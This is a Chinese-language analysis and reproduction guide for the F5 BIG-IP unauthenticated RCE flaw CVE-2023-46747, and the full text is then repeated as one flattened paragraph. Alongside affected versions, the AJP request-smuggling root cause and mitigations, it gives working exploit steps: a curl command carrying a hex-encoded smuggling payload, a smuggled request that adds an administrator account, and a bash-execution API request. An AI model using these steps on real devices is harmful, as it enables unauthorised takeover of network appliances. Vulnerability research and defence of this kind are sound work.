F5 BIG-IP RCE(CVE-2023-46747)漏洞分析复现
字数 1698 2025-08-24 10:10:13

F5 BIG-IP RCE漏洞(CVE-2023-46747)深度分析与复现指南

1. 漏洞概述

F5 BIG-IP是美国F5公司开发的一款集成流量管理、DNS、出入站规则、Web应用防火墙、Web网关、负载均衡等功能的应用交付平台。

漏洞描述:此漏洞(CVE-2023-46747)可能允许未经验证的攻击者通过管理端口或自身IP地址访问BIG-IP系统,从而执行任意系统命令。

2. 影响版本

分支 影响版本 修复版本
13.x 13.1.0 - 13.1.5 13.1.5.1
14.x 14.1.0 - 14.1.5 14.1.5.6
15.x 15.1.0 - 15.1.10 15.1.10.2
16.x 16.1.0 - 16.1.4 16.1.4.1
17 17.1.0 17.1.0.3

注:BIG-IQ集中管理不受此漏洞影响。

3. 漏洞背景与原理

3.1 历史漏洞回顾

F5 BIG-IP的RCE漏洞大多围绕鉴权绕过产生:

  1. CVE-2020-5902:利用Tomcat解析特性导致的鉴权绕过
  2. CVE-2022-1388:通过特定请求头导致的鉴权绕过

3.2 从鉴权绕过到RCE

TMUI是F5 BIG-IP的流量管理用户界面。如果有管理账号密码,登录后获取X-F5-Auth-Token头即可执行命令:

POST /mgmt/shared/authn/login HTTP/1.1
Host: 100.100.100.100
X-F5-Auth-Token:
Connection: close
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs": "-c id"}
POST /mgmt/tm/util/bash HTTP/1.1
Host: 100.100.100.100
X-F5-Auth-Token: LIKUTWQGCHMYXG2X3LGCUKHUU2
Connection: close
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs": "-c id"}

3.3 CVE-2023-46747漏洞原理

此漏洞本质是Apache Httpd AJP请求走私导致的权限绕过:

  1. AJP协议:全称Apache JServ Protocol,是一个类似HTTP的二进制协议
  2. 漏洞成因:AJP消息不包含Content-Length头,Tomcat服务器不会读取body数据,但httpd发送的第二条消息仍位于套接字上,导致请求走私
  3. 利用方式:通过AJP请求走私绕过鉴权,直接访问后台功能

4. 环境配置分析

4.1 AJP配置分析

关键配置文件位置:

  • Tomcat配置:/etc/tomcat/server.xml
  • Apache配置:/config/httpd/conf.d/proxy_ajp.conf

Tomcat配置片段

<Service name="Catalina">
  <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" 
             enableLookups="true" address="127.0.0.1" 
             maxParameterCount="32500" tomcatAuthentication="false"/>
</Service>

Apache配置片段

ProxyPassMatch ^(/tmui/.*\.jsp.*)$ ajp://localhost:8009/tmui/Control/$1

5. 漏洞复现步骤

5.1 AJP请求走私验证

使用以下POC验证AJP请求走私问题:

curl -k -i https://192.168.1.1:8443/tmui/login.jsp -H 'Transfer-Encoding: chunked' --data-binary @poc

其中POC内容为(十六进制格式):

0008 4854 5450 2f31 2e31 0000 012f 0000
0931 3237 2e30 2e30 2e31 00ff ff00 0161
0000 5000 0000 0a00 216a 6176 6178 2e73
6572 766c 6574 2e69 6e63 6c75 6465 2e72
6571 7565 7374 5f75 7269 0000 012f 000a
0022 6a61 7661 782e 7365 7276 6c65 742e
696e 636c 7564 652e 7365 7276 6c65 745f
7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f
2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f
[...省略部分内容...]
2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61
7661 782e 7365 7276 6c65 742e 696e 636c
7564 652e 7061 7468 5f69 6e66 6f00 0010
2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c
00ff

5.2 利用AJP走私添加管理员

通过AJP协议走私请求到/tmui/Control/form添加管理员账号:

关键参数:

  • _bufvalue: eIL4RUnSwXYoPUIOGcOFx2o00Xc= (CSRF token)
  • _timenow: a
  • Tmui-Dubbuf: BBBBBBBBBBB

5.3 获取RCE

成功添加管理员后,使用以下请求执行命令:

POST /mgmt/tm/util/bash HTTP/1.1
Host: <target>
X-F5-Auth-Token: <token>
Connection: close
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs": "-c <command>"}

6. 缓解措施

F5官方提供的缓解脚本主要做了以下修改:

  1. proxy_ajp.conf中添加随机secret:

    ProxyPassMatch ^(/tmui/.*\.jsp.*)$ ajp://localhost:8009/tmui/Control/$1 secret=<random>
    
  2. server.xml中为AJP连接器添加requiredSecret:

    <Connector ... tomcatAuthentication="false" requiredSecret="<random>"/>
    

7. 复现注意事项

  1. 版本差异:POC在15.x、16.x环境中复现成功,但在14.x及以下版本可能需要调整
  2. 请求稳定性:AJP请求走私类漏洞利用通常不稳定,可能需要多次尝试
  3. 关键参数_bufvalue_timenowTmui-Dubbuf等参数是CSRF校验的关键

8. 参考资源

  1. BlackHat USA 2018 - Breaking Parser Logic
  2. AJP Request Smuggling
  3. Apache Tomcat AJP文档
  4. F5官方缓解方案
  5. Praetorian技术分析
  6. nuclei POC
F5 BIG-IP RCE漏洞(CVE-2023-46747)深度分析与复现指南 1. 漏洞概述 F5 BIG-IP是美国F5公司开发的一款集成流量管理、DNS、出入站规则、Web应用防火墙、Web网关、负载均衡等功能的应用交付平台。 漏洞描述 :此漏洞(CVE-2023-46747)可能允许未经验证的攻击者通过管理端口或自身IP地址访问BIG-IP系统,从而执行任意系统命令。 2. 影响版本 | 分支 | 影响版本 | 修复版本 | |-------|---------------------|-------------| | 13.x | 13.1.0 - 13.1.5 | 13.1.5.1 | | 14.x | 14.1.0 - 14.1.5 | 14.1.5.6 | | 15.x | 15.1.0 - 15.1.10 | 15.1.10.2 | | 16.x | 16.1.0 - 16.1.4 | 16.1.4.1 | | 17 | 17.1.0 | 17.1.0.3 | 注:BIG-IQ集中管理不受此漏洞影响。 3. 漏洞背景与原理 3.1 历史漏洞回顾 F5 BIG-IP的RCE漏洞大多围绕鉴权绕过产生: CVE-2020-5902 :利用Tomcat解析特性导致的鉴权绕过 CVE-2022-1388 :通过特定请求头导致的鉴权绕过 3.2 从鉴权绕过到RCE TMUI是F5 BIG-IP的流量管理用户界面。如果有管理账号密码,登录后获取 X-F5-Auth-Token 头即可执行命令: 3.3 CVE-2023-46747漏洞原理 此漏洞本质是 Apache Httpd AJP请求走私 导致的权限绕过: AJP协议 :全称Apache JServ Protocol,是一个类似HTTP的二进制协议 漏洞成因 :AJP消息不包含Content-Length头,Tomcat服务器不会读取body数据,但httpd发送的第二条消息仍位于套接字上,导致请求走私 利用方式 :通过AJP请求走私绕过鉴权,直接访问后台功能 4. 环境配置分析 4.1 AJP配置分析 关键配置文件位置: Tomcat配置: /etc/tomcat/server.xml Apache配置: /config/httpd/conf.d/proxy_ajp.conf Tomcat配置片段 : Apache配置片段 : 5. 漏洞复现步骤 5.1 AJP请求走私验证 使用以下POC验证AJP请求走私问题: 其中POC内容为(十六进制格式): 5.2 利用AJP走私添加管理员 通过AJP协议走私请求到 /tmui/Control/form 添加管理员账号: 关键参数: _bufvalue : eIL4RUnSwXYoPUIOGcOFx2o00Xc= (CSRF token) _timenow : a Tmui-Dubbuf : BBBBBBBBBBB 5.3 获取RCE 成功添加管理员后,使用以下请求执行命令: 6. 缓解措施 F5官方提供的缓解脚本主要做了以下修改: 在 proxy_ajp.conf 中添加随机secret: 在 server.xml 中为AJP连接器添加requiredSecret: 7. 复现注意事项 版本差异 :POC在15.x、16.x环境中复现成功,但在14.x及以下版本可能需要调整 请求稳定性 :AJP请求走私类漏洞利用通常不稳定,可能需要多次尝试 关键参数 : _bufvalue 、 _timenow 、 Tmui-Dubbuf 等参数是CSRF校验的关键 8. 参考资源 BlackHat USA 2018 - Breaking Parser Logic AJP Request Smuggling Apache Tomcat AJP文档 F5官方缓解方案 Praetorian技术分析 nuclei POC